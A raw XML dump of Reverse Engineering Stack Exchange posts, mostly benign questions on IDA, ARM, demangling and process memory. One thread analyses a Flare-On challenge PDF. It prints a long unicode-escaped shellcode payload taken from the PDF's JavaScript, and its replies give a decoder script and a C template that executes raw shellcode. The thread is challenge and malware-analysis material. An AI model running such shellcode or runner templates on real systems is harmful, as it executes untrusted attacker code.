(0x0) T_end (0x0)   &#xA;(24) 7c92270f: inc %ecx R@ecx[0x00000000][4](RW) T_begin (0x0) T_end (0x0)  &#xA;(25) 7c922710: cmp $0x1,%ecx    I@0x00000000[0x00000001][1](R) T_begin (0x0) T_end (0x0)    R@ecx[0x00000001][4](R) T_begin (0x0) T_end (0x0)   &#xA;(26) 7c922713: jnz 0x7c93d4d9   J@0x00000000[0x0001adc6][4](R) T_begin (0x0) T_end (0x0)    &#xA;(27) 7c922719: call 0x7c9222e9  J@0x00000000[0xfffffbd0][4](R) T_begin (0x0) T_end (0x0)    M@0x0022fd08[0x00000000][4](W) T_begin (0x0) T_end (0x0)    &#xA;(28) 7c9222e9: mov 0x7c97b0c8,%eax  M@0x7c97b0c8[0x0000bb40][4](R) T_begin (0x0) T_end (0x0)    R@eax[0x7c97d394][4](W) T_begin (0x0) T_end (0x0)   &#xA;(29) 7c9222ee: test %eax,%eax   R@eax[0x0000bb40][4](R) T_begin (0x0) T_end (0x0)   R@eax[0x0000bb40][4](R) T_begin (0x0) T_end (0x0)   &#xA;(30) 7c9222f0: jz 0x7c9222f9    J@0x00000000[0x00000009][4](R) T_begin (0x0) T_end (0x0)    &#xA;(31) 7c9222f2: cmp $0xbb40,%eax I@0x00000000[0x0000bb40][4](R) T_begin (0x0) T_end (0x0)    R@eax[0x0000bb40][4](R) T_begin (0x0) T_end (0x0)   &#xA;(32) 7c9222f7: jnz 0x7c922309   J@0x00000000[0x00000012][4](R) T_begin (0x0) T_end (0x0)    (0x0)   M@0x0022fd00[0x00000000][4](W) T_begin (0x0) T_end (0x0)    &#xA;(35) 7c9199d7: pushb $0xc   I@0x00000000[0x0000000c][1](R) T_begin (0x0) T_end (0x0)    M@0x0022fcfc[0x00000000][4](W) T_begin (0x0) T_end (0x0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;P.S: I should mention that I do not have any other information except this trace file.&lt;/p&gt;&#xA;" OwnerUserId="8671" LastEditorUserId="53" LastEditDate="2017-04-28T12:50:51.513" LastActivityDate="2017-04-28T12:50:51.513" Title="Distinguish between local function calls and external(imported) function calls in a dynamic trace" Tags="|ida|disassembly|binary-analysis|patch-reversing|function-hooking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9199" PostTypeId="1" CreationDate="2015-06-22T01:50:44.557" Score="5" ViewCount="933" Body="&lt;p&gt;I am looking for a python library for linux which can demangle the function names which are mangled by MSVC.&#xA;for example :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Project!??0?$allocator@D@std@@QAE@XZ&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Project!public: __thiscall&#xA;  std::allocator::allocator(void)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I found that IDAPython has an API for this but I don't know how to use IDAPython in linux.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2015-06-22T01:50:44.557" Title="Python library for linux to demangle MSVC decorated names" Tags="|linux|c++|idapython|python|" AnswerCount="0" CommentCount="5" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9200" PostTypeId="2" ParentId="9165" CreationDate="2015-06-22T08:29:23.200" Score="1" Body="&lt;p&gt;Answer it myself. It is actually a portable executable. And the addresses that are hard-coded will be updated every time I launch it by relocation table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I modified the table by tools and it runs well.&lt;/p&gt;&#xA;" OwnerUserId="2143" LastActivityDate="2015-06-22T08:29:23.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9201" PostTypeId="1" CreationDate="2015-06-22T09:29:17.760" Score="4" ViewCount="1436" Body="&lt;p&gt;I am looking for a way to tell if an instruction is a jump instruction. Of course, I would like to avoid checking all possible jump mnemonics for all possible CPU architectures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought one may check the belonging xref type. Yet, there are several different types possible: &lt;code&gt;Code_Near_Jump&lt;/code&gt; &lt;code&gt;Code_Far_Jump&lt;/code&gt; but also &lt;code&gt;Data_Read&lt;/code&gt; (for indirect jumps). This approach looks complicated and not very reliable to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;code&gt;call&lt;/code&gt; instructions, there is &lt;code&gt;idaapi.is_call_insn(addr)&lt;/code&gt;. Is there a similar thing for jumps? &lt;/p&gt;&#xA;" OwnerUserId="11830" LastActivityDate="2019-02-15T20:33:49.170" Title="IDA Pro: Platform-independent way to check if an instruction is a jump" Tags="|ida|disassembly|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9202" PostTypeId="2" ParentId="9198" CreationDate="2015-06-22T10:14:20.007" Score="1" Body="&lt;p&gt;I'd say this is an external function because of the memory range (0x7c000000 looks typical for imported DLLs), but without more information it's actually hard to tell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The proper way would be to check the memory sections of your binary and to see in which sections the current instructions are.&lt;/p&gt;&#xA;" OwnerUserId="8679" LastActivityDate="2015-06-22T10:14:20.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9205" PostTypeId="1" AcceptedAnswerId="9206" CreationDate="2015-06-22T14:21:07.243" Score="5" ViewCount="2023" Body="&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try to find the plaintext which was hidden at pdf inbuilt with shellcode &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What i tried&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I received a pdf which contains javascript with it ,i dig the pdf as follows :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Exploring  JavaScript inside&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@kali:~# pdfid APT9001.pdf &#xA;PDFiD 0.0.12 APT9001.pdf&#xA; PDF Header: %PDF-1.5&#xA; obj                   10&#xA; endobj                 9&#xA; stream                 3&#xA; endstream              3&#xA; xref                   2&#xA; trailer                2&#xA; startxref              2&#xA; /Page                  3(2)&#xA; /Encrypt               0&#xA; /ObjStm                0&#xA; /JS                    1(1)&#xA; /JavaScript            1(1)&#xA; /AA                    0&#xA; /OpenAction            1(1)&#xA; /AcroForm              0&#xA; /JBIG2Decode           1(1)&#xA; /RichMedia             0&#xA; /Launch                0&#xA; /EmbeddedFile          0&#xA; /Colors &amp;gt; 2^24         0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;while extracting  it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@kali:~# pdf-parser -s javascript APT9001.pdf &#xA;obj 5 0&#xA; Type: /Action&#xA; Referencing: 6 0 R&#xA;&#xA;  &amp;lt;&amp;lt;&#xA;    /Type /Action&#xA;    /S /JavaScript&#xA;    /JS 6 0 R&#xA;  &amp;gt;&amp;gt;&#xA;&#xA;&#xA;root@kali:~# pdf-parser -o 6 APT9001.pdf &#xA;obj 6 0&#xA; Type: &#xA; Referencing: &#xA; Contains stream&#xA;&#xA;  &amp;lt;&amp;lt;&#xA;    /Length 6170&#xA;    /Filter '[  \r\n /Fla#74eDe#63o#64#65  /AS#43IIHexD#65cod#65 ]'&#xA;  &amp;gt;&amp;gt;&#xA;&#xA;&#xA;root@kali:~# pdf-parser -o 6 -d APT9001.js -f APT9001.pdf &#xA;obj 6 0&#xA; Type: &#xA; Referencing: &#xA; Contains stream&#xA;&#xA;  &amp;lt;&amp;lt;&#xA;    /Length 6170&#xA;    /Filter '[  \r\n /Fla#74eDe#63o#64#65  /AS#43IIHexD#65cod#65 ]'&#xA;  &amp;gt;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i open the JavaScript file, i can quickly find the shellcode:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;%u72f9%u4649%u1525%u7f0d%u3d3c%ue084%ud62a%ue139%ua84a%u76b9%u9824%u7378%u7d71%u757f%u2076%u96d4%uba91%u1970%ub8f9%ue232%u467b%u9ba8%ufe01%uc7c6%ue3c1%u7e24%u437c%ue180%ub115%ub3b2%u4f66%u27b6%u9f3c%u7a4e%u412d%ubbbf%u7705%uf528%u9293%u9990%ua998%u0a47%u14eb%u3d49%u484b%u372f%ub98d%u3478%u0bb4%ud5d2%ue031%u3572%ud610%u6740%u2bbe%u4afd%u041c%u3f97%ufc3a%u7479%u421d%ub7b5%u0c2c%u130d%u25f8%u76b0%u4e79%u7bb1%u0c66%u2dbb%u911c%ua92f%ub82c%u8db0%u0d7e%u3b96%u49d4%ud56b%u03b7%ue1f7%u467d%u77b9%u3d42%u111d%u67e0%u4b92%ueb85%u2471%u9b48%uf902%u4f15%u04ba%ue300%u8727%u9fd6%u4770%u187a%u73e2%ufd1b%u2574%u437c%u4190%u97b6%u1499%u783c%u8337%ub3f8%u7235%u693f%u98f5%u7fbe%u4a75%ub493%ub5a8%u21bf%ufcd0%u3440%u057b%ub2b2%u7c71%u814e%u22e1%u04eb%u884a%u2ce2%u492d%u8d42%u75b3%uf523%u727f%ufc0b%u0197%ud3f7%u90f9%u41be%ua81c%u7d25%ub135%u7978%uf80a%ufd32%u769b%u921d%ubbb4%u77b8%u707e%u4073%u0c7a%ud689%u2491%u1446%u9fba%uc087%u0dd4%u4bb0%ub62f%ue381%u0574%u3fb9%u1b67%u93d5%u8396%u66e0%u47b5%u98b7%u153c%ua934%u3748%u3d27%u4f75%u8cbf%u43e2%ub899%u3873%u7deb%u257a%uf985%ubb8d%u7f91%u9667%ub292%u4879%u4a3c%ud433%u97a9%u377e%ub347%u933d%u0524%u9f3f%ue139%u3571%u23b4%ua8d6%u8814%uf8d1%u4272%u76ba%ufd08%ube41%ub54b%u150d%u4377%u1174%u78e3%ue020%u041c%u40bf%ud510%ub727%u70b1%uf52b%u222f%u4efc%u989b%u901d%ub62c%u4f7c%u342d%u0c66%ub099%u7b49%u787a%u7f7e%u7d73%ub946%ub091%u928d%u90bf%u21b7%ue0f6%u134b%u29f5%u67eb%u2577%ue186%u2a05%u66d6%ua8b9%u1535%u4296%u3498%ub199%ub4ba%ub52c%uf812%u4f93%u7b76%u3079%ubefd%u3f71%u4e40%u7cb3%u2775%ue209%u4324%u0c70%u182d%u02e3%u4af9%ubb47%u41b6%u729f%u9748%ud480%ud528%u749b%u1c3c%ufc84%u497d%u7eb8%ud26b%u1de0%u0d76%u3174%u14eb%u3770%u71a9%u723d%ub246%u2f78%u047f%ub6a9%u1c7b%u3a73%u3ce1%u19be%u34f9%ud500%u037a%ue2f8%ub024%ufd4e%u3d79%u7596%u9b15%u7c49%ub42f%u9f4f%u4799%uc13b%ue3d0%u4014%u903f%u41bf%u4397%ub88d%ub548%u0d77%u4ab2%u2d93%u9267%ub198%ufc1a%ud4b9%ub32c%ubaf5%u690c%u91d6%u04a8%u1dbb%u4666%u2505%u35b7%u3742%u4b27%ufc90%ud233%u30b2%uff64%u5a32%u528b%u8b0c%u1452%u728b%u3328%ub1c9%u3318%u33ff%uacc0%u613c%u027c%u202c%ucfc1%u030d%ue2f8%u81f0%u5bff%u4abc%u8b6a%u105a%u128b%uda75%u538b%u033c%uffd3%u3472%u528b%u0378%u8bd3%u2072%uf303%uc933%uad41%uc303%u3881%u6547%u5074%uf475%u7881%u7204%u636f%u7541%u81eb%u0878%u6464%u6572%ue275%u8b49%u2472%uf303%u8b66%u4e0c%u728b%u031c%u8bf3%u8e14%ud303%u3352%u57ff%u6168%u7972%u6841%u694c%u7262%u4c68%u616f%u5464%uff53%u68d2%u3233%u0101%u8966%u247c%u6802%u7375%u7265%uff54%u68d0%u786f%u0141%udf8b%u5c88%u0324%u6168%u6567%u6842%u654d%u7373%u5054%u54ff%u2c24%u6857%u2144%u2121%u4f68%u4e57%u8b45%ue8dc%u0000%u0000%u148b%u8124%u0b72%ua316%u32fb%u7968%ubece%u8132%u1772%u45ae%u48cf%uc168%ue12b%u812b%u2372%u3610%ud29f%u7168%ufa44%u81ff%u2f72%ua9f7%u0ca9%u8468%ucfe9%u8160%u3b72%u93be%u43a9%ud268%u98a3%u8137%u4772%u8a82%u3b62%uef68%u11a4%u814b%u5372%u47d6%uccc0%ube68%ua469%u81ff%u5f72%ucaa3%u3154%ud468%u65ab%u8b52%u57cc%u5153%u8b57%u89f1%u83f7%u1ec7%ufe39%u0b7d%u3681%u4542%u4645%uc683%ueb04%ufff1%u68d0%u7365%u0173%udf8b%u5c88%u0324%u5068%u6f72%u6863%u7845%u7469%uff54%u2474%uff40%u2454%u5740%ud0ff&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now i am stucked with this part ,now how can i explore further :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the possible solutions which i might think were&lt;/p&gt;&#xA;&#xA;&lt;p&gt;convert these shellcode to exe and exporting it as txt &#xA;once the text was recovered exploring the stack of it{assumption]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;am i on right way?or any community ideas to reverse engineer these further?&lt;/p&gt;&#xA;" OwnerUserId="1581" LastActivityDate="2015-06-24T03:45:11.980" Title="Need advice : Reverse engineering a pdf with shellcode" Tags="|malware|vulnerability-analysis|callstack|shellcode|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9206" PostTypeId="2" ParentId="9205" CreationDate="2015-06-22T17:22:39.737" Score="10" Body="&lt;p&gt;The shellcode is &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/escape&quot; rel=&quot;nofollow noreferrer&quot;&gt;unicode escaped&lt;/a&gt;. You can convert it to its hex representation using a simple python script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from binascii import unhexlify as unhx&#xA;&#xA;encoded = open('encoded.txt').read() # The shellcode dump&#xA;out = open('shellcode.bin', 'wb')&#xA;&#xA;for s in encoded.split('%'):&#xA;    if len(s) == 5:&#xA;        HI_BYTE = s[3:]&#xA;        LO_BYTE = s[1:3]&#xA;        out.write(unhx(HI_BYTE))&#xA;        out.write(unhx(LO_BYTE))&#xA;out.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;shellcode.bin&lt;/em&gt; contains the shellcode in its binary form. You can convert the shellcode to an executable using the following C template or using an online tool such as &lt;a href=&quot;http://sandsprite.com/shellcode_2_exe.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;unsigned char payload[] = &#xA;{&#xA;//Bytes of the shellcode&#xA;};&#xA;&#xA;int main(int argc, char **argv) {&#xA;    (*(void (*)()) payload)();&#xA;    return(0);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running the resultant executable produces this output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aW07K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2015-06-22T17:22:39.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9207" PostTypeId="2" ParentId="8044" CreationDate="2015-06-23T03:37:17.373" Score="0" Body="&lt;p&gt;If you are interested in Anroid apps RE, then you shall find better tools to use regularly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, one of the tools is Android Cracker Kit (which I developed), it gives you all what you need: Android Cracker Kit (ACK):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.at4re.com/f/showthread.php?11231&quot; rel=&quot;nofollow&quot;&gt;http://www.at4re.com/f/showthread.php?11231&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://forum.exetools.com/showthread.php?t=16538&quot; rel=&quot;nofollow&quot;&gt;http://forum.exetools.com/showthread.php?t=16538&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11757" LastEditorUserId="245" LastEditDate="2016-04-13T15:08:58.313" LastActivityDate="2016-04-13T15:08:58.313" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9208" PostTypeId="1" CreationDate="2015-06-23T13:03:16.877" Score="1" ViewCount="1365" Body="&lt;p&gt;Recently I read that breakpoints on ARM are enforced by either using &lt;code&gt;BKPT&lt;/code&gt; instructions or by using instructions that are defined as invalid.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Which method does gdb use?&lt;/li&gt;&#xA;&lt;li&gt;Do you know of any online assemblers for ARM code?(eg: Id like to assemble the &lt;code&gt;BKPT&lt;/code&gt; instruction and see the bytes corresponding to it, but I dont have qemu/SoC chips handy). What do you use?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user1743" LastEditorDisplayName="user1743" LastEditDate="2015-06-23T14:41:30.930" LastActivityDate="2017-11-05T03:29:00.813" Title="Breakpoints on ARM" Tags="|arm|breakpoint|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9209" PostTypeId="1" AcceptedAnswerId="9225" CreationDate="2015-06-23T14:47:59.357" Score="3" ViewCount="1688" Body="&lt;p&gt;I'm getting started with some reverse engineering lately, especially on Linux and ELF format, but I'm struggling here.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now I'm only using GDB to disassemble binaries, and even though I can read and understand the assembly code in general, I don't know &quot;where&quot; to look, or what register to check to find the flag (I'm talking about CTFs here).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm asking for are books or videos, something to get me used to GDB and give me the thinking methodology (if there's such a thing).&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12827" LastEditorUserId="21194" LastEditDate="2019-01-20T16:36:46.813" LastActivityDate="2019-01-20T16:36:46.813" Title="Books on reversing with GDB?" Tags="|disassembly|gdb|" AnswerCount="3" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="9210" PostTypeId="2" ParentId="9208" CreationDate="2015-06-23T16:32:00.887" Score="1" Body="&lt;p&gt;1) This depends on whether your are in THUMB or ARM mode, as these have different opcode sets. &lt;a href=&quot;https://stackoverflow.com/questions/11345371/how-do-i-set-a-software-breakpoint-on-an-arm-processor&quot;&gt;This stackoverflow question&lt;/a&gt; might be relevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2a) I don't know any online assemblers for ARM, but for single instructions, i find &lt;a href=&quot;http://imrannazar.com/ARM-Opcode-Map&quot; rel=&quot;nofollow noreferrer&quot;&gt;this table&lt;/a&gt; handy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2b) If you want to assemble larger chunks of code, probably the easiest method to get a working ARM assembler is installing the Android NDK, which has toolchains for various processors including x86, arm, and mips. As i'm using Ubuntu, my arm assembler is $ndk-root/toolchains/arm-linux-androideabi-4.6/prebuilt/linux-x86_64/bin/arm-linux-androideabi-as; on windows, i'd assume a .exe file should be in a similar location. My answer to &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/9094/offset-calculation-for-branch-instruction-in-arm/9096#9096&quot;&gt;this question&lt;/a&gt; shows how to use arm-as and arm-objdump to get the hex bytes quickly.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-06-23T16:32:00.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9211" PostTypeId="2" ParentId="9205" CreationDate="2015-06-24T03:45:11.980" Score="1" Body="&lt;p&gt;The answer by extreme coders was wonderful,i wish to share my method too over here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I convert it to an executable with the tools in REMnux:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remnux@remnux:~$ unicode2hex-escaped &amp;lt; sc.txt &amp;gt; sc2.txt&#xA;remnux@remnux:~$ shellcode2exe -s sc2.txt &#xA;&#xA;&#xA;Reading string shellcode from file sc2.txt&#xA;Generating executable file&#xA;Writing file sc2.exe&#xA;Done.&#xA;remnux@remnux:~$ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The shellcode puts something on the stack:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/g9uyR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i split it and observe carefully :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/64nmE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my guessed answer would be wa1ch.d3m.spl01ts@flare-on.com&lt;/p&gt;&#xA;" OwnerUserId="1581" LastActivityDate="2015-06-24T03:45:11.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9212" PostTypeId="1" AcceptedAnswerId="9213" CreationDate="2015-06-24T04:17:27.233" Score="1" ViewCount="454" Body="&lt;p&gt;I am attempting to disassemble some ARM machine code.&#xA;The ARM Instruction Set defines the Block Data Transfer instructions (LDM and STM) as below, used for loading and storing to multiple registers at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;There are two types of addressing modes&lt;/b&gt;: for stacks or for other purposes. Maybe I'm not understanding something correctly, but I dont see a way to determine which type an instruction is using from looking at the machine code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it even matter on the CPU level, and is just a feature to make the assembly programmer's life easier? Since for example LDMFD and LDMIA are equivalent operations (I think?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m0ttK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/blkgF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RiN8J.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12759" LastEditorUserId="53" LastEditDate="2015-06-24T11:53:02.917" LastActivityDate="2015-06-24T11:53:02.917" Title="How to detect whether stack or alternative memory access type in LDM/STM instruction?" Tags="|disassembly|assembly|arm|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9213" PostTypeId="2" ParentId="9212" CreationDate="2015-06-24T08:45:09.383" Score="2" Body="&lt;p&gt;From the &lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0552a/BABCAEDD.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;ARM manual&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;LDM and LDMFD are synonyms for LDMIA. LDMFD refers to its use for&#xA;popping data from Full Descending stacks.&lt;/p&gt;&#xA;&lt;p&gt;LDMEA is a synonym for LDMDB, and refers to its use for popping data&#xA;from Empty Ascending stacks.&lt;/p&gt;&#xA;&lt;p&gt;STM and STMEA are synonyms for STMIA. STMEA refers to its use for&#xA;pushing data onto Empty Ascending stacks.&lt;/p&gt;&#xA;&lt;p&gt;STMFD is s synonym for STMDB, and refers to its use for pushing data&#xA;onto Full Descending stacks.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So yes, these are synonyms, confirmed by the manufacturer.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2015-06-24T08:45:09.383" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9214" PostTypeId="1" AcceptedAnswerId="9218" CreationDate="2015-06-24T13:29:44.140" Score="2" ViewCount="319" Body="&lt;p&gt;I am making a memory editor for an application written in Python. I've successfully grabbed the memory data from the target process using OpenProcess and ReadProcessMemory functions from the kernel32.dll. &#xA;Once i have the data i manipulate it accordingly using python, and i pass it into a gui that i've created. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i want to do is this: Because the data that i grab contain static memory addresses, and there is no other way to write back to memory without calling WriteProcessMemory again, i thought of creating pointers that point directly to the static memory addresses so that with some tweaks in the gui, the values will get immediately back in memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to do this using ctypes cast function, which successfully creates the pointer (at least it does not spawn any error) but when i am trying to get the pointer contents, python crashes, so the only logical explanation is that the python script does not have direct access to the process memory space in order to load the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of my lack of experience on the matter, i have no idea what i can do to make this possible. Is this where dll injection comes in handy? My only other option is to store the memory data as a file object in python, don't make use of the static pointers (that means a lot of conversions), make my changes and put the data back using WriteProcessMemory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is highly appreciated&lt;/p&gt;&#xA;" OwnerUserId="12838" LastActivityDate="2015-06-24T16:38:19.380" Title="Defining Pointers outside the Target Proccess Memory Space" Tags="|memory|python|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9216" PostTypeId="1" AcceptedAnswerId="9219" CreationDate="2015-06-24T14:12:17.907" Score="1" ViewCount="166" Body="&lt;p&gt;On some RISC architectures there's no notion of stack pointer register -  there's some register, used to hold a stack pointer and address of the stack frame, but nowhere told explicitly what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how do I found out what register being used for storing a stack pointer on RISC architectures?&lt;/p&gt;&#xA;" OwnerUserId="2038" LastActivityDate="2015-06-24T14:37:44.143" Title="How do I found out what register used for stack pointer on RISC architectures?" Tags="|disassembly|stack|risc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9217" PostTypeId="2" ParentId="9214" CreationDate="2015-06-24T14:22:54.707" Score="0" Body="&lt;p&gt;By design in Windows, each process have their own virtual address space, thus you can't create a pointer to another process memory if it hasn't been created specifically as a shared memory, that's why RPM/WPM exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, DLL injection allows you to inject your code in a target process, so you can access directly to the target process memory. It is certainly the most performant way to access data, however you'll have to code an interface if you want to export the data to the outside (socket, shared memory, whatever). Basically, you'll have to do what RPM/WPM do for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion, RPM/WPM should be enough for what you need, you can call it multiple times per second without much trouble.&lt;/p&gt;&#xA;" OwnerUserId="11799" LastEditorUserId="11799" LastEditDate="2015-06-24T16:38:19.380" LastActivityDate="2015-06-24T16:38:19.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9218" PostTypeId="2" ParentId="9214" CreationDate="2015-06-24T14:24:37.233" Score="2" Body="&lt;p&gt;Memory in almost all modern OSes is virtualized, which means each process has its own address space. This means that the same addresses holds a different value in your python program than it holds in your debugee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the &lt;em&gt;only&lt;/em&gt; way to patch that memory is &lt;code&gt;WriteProcessMemory&lt;/code&gt;, there's no way to access the memory of your debugee with any kind of pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you inject a DLL into the debugged process, that DLL could access the memory of that process directly, however, this still leaves you with the problem of how to communicate with the DLL, since you can't just call any functions in it if it's not in &lt;em&gt;your&lt;/em&gt; process space. Combined with all other problems this may cause, i'd strongly recommend against that.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-06-24T14:24:37.233" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9219" PostTypeId="2" ParentId="9216" CreationDate="2015-06-24T14:37:44.143" Score="2" Body="&lt;p&gt;In most cases, even if there's no register that has any hardware/instruction support for being a stack pointer, either the processor manufacturer or the operating system designer defines an ABI (application binary interface) which, among others, contains a convention for calling subroutines. Compiler vendors normally conform to this ABI to make their code interchangable with that of other vendors, or standard libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://en.wikipedia.org/wiki/Calling_convention&quot; rel=&quot;nofollow&quot;&gt;wikipedia page about calling conventions&lt;/a&gt; has information about the standard conventions of most of the common processors. as well as links to some of the manufacturer documents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, noone forces you to use that exact convention. You could, for example, write a JVM that has the Java stack in one register, and the C/native stack in a different one. Or, you could use one register for the call/return stack, a different one for function parameters, and a third one for local variables. The hardware doesn't care, so you can do this if you feel it's advantageous to your application; however, in most cases, not using the standard ABI causes you trouble (as you can't use standard libraries anymore) without gaining you anything.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-06-24T14:37:44.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
